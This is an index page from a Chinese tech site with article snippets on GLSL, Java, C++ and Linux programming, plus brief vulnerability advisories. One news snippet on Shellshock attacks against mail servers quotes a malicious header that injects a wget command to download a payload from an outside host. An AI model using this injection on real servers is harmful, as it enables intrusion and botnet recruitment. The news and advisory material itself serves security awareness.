Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux

OpenGL超级宝典学习笔记——GLSL语言基础

OpenGL超级宝典学习笔记——GLSL语言基础

变量GLSL的变量命名方式与C语言类似。变量的名称可以使用字母,数字以及下划线,但变量名不能以数字开头,还有变量名不能以gl_作为前缀,这个是GLSL保留的前缀,用于GLSL的内部变量。当然还有一些GLSL保留的名称是不能够作为变量的名称的。基本类型除了布尔型,整型,浮点型基本类型外,GLSL还引入了一些在着色器中经常用到的类型作为基本类型。这些基本类型都可以作为结构体内部的类型。如下表:类型描述void跟C语言的void类似,表示空类型。作为函数的返回类...
OpenGL超级宝典学习笔记——顶点着色器示例

OpenGL超级宝典学习笔记——顶点着色器示例

以下内容只针对GLSL1.20的版本进行说明的,有些内置的变量在1.20之后,已经被废弃了。初次实验每个顶点着色器都至少输出一个裁剪空间的位置坐标。光照、纹理坐标的生成和其他的一些操作是可选的。例如,你要创建了深度纹理,那你只需要最终的深度值,你就没必要在着色器中处理颜色和纹理坐标,也不需要输出它们。但至少需要输出裁剪空间的坐标给后面的图元组装和光栅化。如果不输出任何东西,行为将是未定义的。如果要让颜色在后面的管道中可见,则至少要把输入的颜色拷贝到输出颜色...
OpenGL超级宝典学习笔记——片段着色器(二)

OpenGL超级宝典学习笔记——片段着色器(二)

图像处理图像处理是一种独立于顶点着色器的特殊处理程序。在不使用片段着色器的情况下绘制场景之后,可以按照各种方式应用卷积核。为了保持着色器的简洁,使用硬件加速,我们限制总卷积的大小为3X3.在示例程序中,调用glCopyTexIamge2D把帧缓冲区拷贝到纹理中。纹理的大下为小于窗口的2的最大N次方值(在2.0中则没有这个限制)。然后在窗口的中间绘制一个片段着色的四边形,大小与这个纹理相同,其纹理坐标从左下角(0,0)到右上角(1,1)。片段着色器基于纹理坐...
Numara/BMC Track-It! /TrackItWeb/Attachment页任意文件下载漏洞

Numara/BMC Track-It! /TrackItWeb/Attachment页任意文件下载漏洞

发布日期:2014-10-21更新日期:2014-10-26受影响系统:BMC Track-It! 11.3.0.355描述:CVE(CAN) ID: CVE-2014-4874BMC Track-It!是集成的IT帮助桌面和资产管理解决方案。BMC Track-It! 11.3.0.355版本/TrackItWeb/Attachment页在实现上存在任意文件下载漏洞,经过身份验证的远程用户利用此漏洞可下载任意文件。<*来源:Pedro Ribeir...
简述Java内存模型的由来、概念及语义

简述Java内存模型的由来、概念及语义

JDK5引入了JMM新规范:JSR-133,引入了happens-before/可见性等概念,对synchronized/volatile/final等关键词进行了语义定义。解决了:final变量在构造器中初始化的线程安全问题以及volatile变量与no-volatile变量之间的重排序问题。为什么需要Memory Model在多线程的场景下,thread1修改了一个变量后,thread2要读取这个变量,其间可能会发生指令执行顺序的问题(因为编译器优化指...
攻击者利用Shellshock漏洞入侵邮件服务器

攻击者利用Shellshock漏洞入侵邮件服务器

攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。Shellshock漏洞是指攻击者向使用bash的Unix/Linux服务器发送精心构造的请求,诱骗bash远程执行命令。安全研究人员报告,攻击者向邮件服务器发送特定的消息头字段,诱骗服务器执行一个 Perl脚本,成为僵尸网络的一部分。邮件消息头的构成是: Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/...
Linux C ftruncate 函数清空文件注意事项(要使用 lseek 重置偏移量)

Linux C ftruncate 函数清空文件注意事项(要使用 lseek 重置偏移量)

之前有个要把打开的文件清空,然后重新写入的需求,但是使用 ftruncate(fd, 0)后,并没有达到效果,反而文件头部有了"",长度比预想的大了。究其原因是没有使用 lseek 重置文件偏移量,是我太天真了,以为清空文件就会从头开始写入。------------------------------------- 我是解释分割线 --------------------------------------首先 man ftruncate 看下帮助手册NA...
C++拾遗--虚函数原理

C++拾遗--虚函数原理

前言C++的多态依赖虚函数来实现。若类存在虚函数,则每一个类的实例都维护了一个地址,这个地址指向虚函数表。虚函数表中存放的是类中所有虚函数的地址。下面我们找出虚函数表的地址,从而获得每个虚函数的地址,然后使用地址直接调用虚函数。正文1.空类的size#include <iostream>using namespace std;class MyClass{};int main(){cout << "sizeof(MyClass) = ...
GNU Wget符号链接漏洞(CVE-2014-4877)

GNU Wget符号链接漏洞(CVE-2014-4877)

发布日期:2014-10-27更新日期:2014-10-29受影响系统:GNU wget描述:BUGTRAQ ID: 70751CVE(CAN) ID: CVE-2014-4877GNU Wget是一个免费的软件包,用于使用HTTP、HTTPS和FTP协议检索文件。GNU Wget在实现上存在符号链接漏洞,攻击者可利用此漏洞访问受限制目录以外的文件,获取敏感信息,执行其他攻击。Linux wget命令详解 http://www.linuxidc.com/L...
C++拾遗--引用(左值引用、右值引用)

C++拾遗--引用(左值引用、右值引用)

前言引用就是别名(alias)。所谓别名,就是对已存在的对象另起一个名字。本身含义并不难理解,但与其它概念一组合,就成了使用难点。再加上新标准提出了新的一种引用-右值引用,引用这一概念就变得更加难以理解和使用。正文随着新标准(新标准往往就是新的技术)的提出,引用这一概念分成两类:左值引用、右值引用。其中左值引用是最常用的一种,而右值引用则是语言使用上的一种革新。1.左值引用左值引用的基本语法Type &引用名 = 左值表达式;#include &l...
<< 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 >>